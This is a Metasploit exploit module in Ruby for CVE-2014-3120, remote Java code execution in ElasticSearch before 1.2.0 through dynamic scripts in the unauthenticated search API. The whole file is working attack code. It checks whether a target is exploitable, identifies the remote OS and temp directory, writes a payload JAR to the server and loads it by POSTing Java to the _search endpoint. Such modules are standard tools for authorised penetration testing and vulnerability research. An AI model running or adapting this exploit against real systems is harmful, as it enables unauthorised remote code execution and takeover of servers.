## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'ElasticSearch Dynamic Script Arbitrary Java Execution', 'Description' => %q{ This module exploits a remote command execution (RCE) vulnerability in ElasticSearch, exploitable by default on ElasticSearch prior to 1.2.0. The bug is found in the REST API, which does not require authentication, where the search function allows dynamic scripts execution. It can be used for remote attackers to execute arbitrary Java code. This module has been tested successfully on ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3. }, 'Author' => [ 'Alex Brasetvik', # Vulnerability discovery 'Bouke van der Bijl', # Vulnerability discovery and PoC 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-3120'], ['OSVDB', '106949'], ['EDB', '33370'], ['URL', 'http://bouk.co/blog/elasticsearch-rce/'], ['URL', 'https://www.found.no/foundation/elasticsearch-security/#staying-safe-while-developing-with-elasticsearch'] ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'ElasticSearch 1.1.1 / Automatic', { } ] ], 'DisclosureDate' => 'Dec 09 2013', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(9200), OptString.new('TARGETURI', [ true, 'The path to the ElasticSearch REST API', "/"]), OptString.new("WritableDir", [ true, "A directory where we can write files (only for *nix environments)", "/tmp" ]) ], self.class) end def check result = Exploit::CheckCode::Safe if vulnerable? result = Exploit::CheckCode::Vulnerable end result end def exploit print_status("#{peer} - Trying to execute arbitrary Java...") unless vulnerable? fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...") end print_status("#{peer} - Discovering remote OS...") res = execute(java_os) result = parse_result(res) if result.nil? fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...") else # TODO: It'd be nice to report_host() with this info. print_good("#{peer} - Remote OS is '#{result}'") end jar_file = "" if result =~ /win/i print_status("#{peer} - Discovering TEMP path") res = execute(java_tmp_dir) result = parse_result(res) if result.nil? fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...") else print_good("#{peer} - TEMP path identified: '#{result}'") end jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar" else jar_file = File.join(datastore['WritableDir'], "#{rand_text_alpha(3 + rand(4))}.jar") end register_file_for_cleanup(jar_file) execute(java_payload(jar_file)) end def vulnerable? addend_one = rand_text_numeric(rand(3) + 1).to_i addend_two = rand_text_numeric(rand(3) + 1).to_i sum = addend_one + addend_two java = java_sum([addend_one, addend_two]) vprint_status("#{peer} attempting to execute '#{java}' in Java") res = execute(java) result = parse_result(res) if result.nil? vprint_status("#{peer} no response to executed Java") return false else vprint_status("#{peer} response to executed Java: #{result}") result.to_i == sum end end def parse_result(res) unless res vprint_error("#{peer} no response") return nil end unless res.code == 200 && res.body vprint_error("#{peer} responded with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)") return nil end begin json = JSON.parse(res.body.to_s) rescue JSON::ParserError return nil end begin result = json['hits']['hits'][0]['fields']['msf_result'] rescue return nil end result.is_a?(::Array) ? result.first : result end def java_sum(summands) summands.join(' + ') end def to_java_byte_array(str) buff = "byte[] buf = new byte[#{str.length}];\n" i = 0 str.unpack('C*').each do |c| buff << "buf[#{i}] = #{c};\n" i = i + 1 end buff end def java_os "System.getProperty(\"os.name\")" end def java_tmp_dir "System.getProperty(\"java.io.tmpdir\");" end def java_payload(file_name) source = <<-EOF import java.io.*; import java.lang.*; import java.net.*; #{to_java_byte_array(payload.encoded_jar.pack)} File f = new File('#{file_name.gsub(/\\/, "/")}'); FileOutputStream fs = new FileOutputStream(f); bs = new BufferedOutputStream(fs); bs.write(buf); bs.close(); bs = null; URL u = f.toURI().toURL(); URLClassLoader cl = new URLClassLoader(new java.net.URL[]{u}); Class c = cl.loadClass('metasploit.Payload'); c.main(null); EOF source end def execute(java) payload = { "size" => 1, "query" => { "filtered" => { "query" => { "match_all" => {} } } }, "script_fields" => { "msf_result" => { "script" => java } } } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, "_search"), 'method' => 'POST', 'data' => JSON.generate(payload) }) return res end end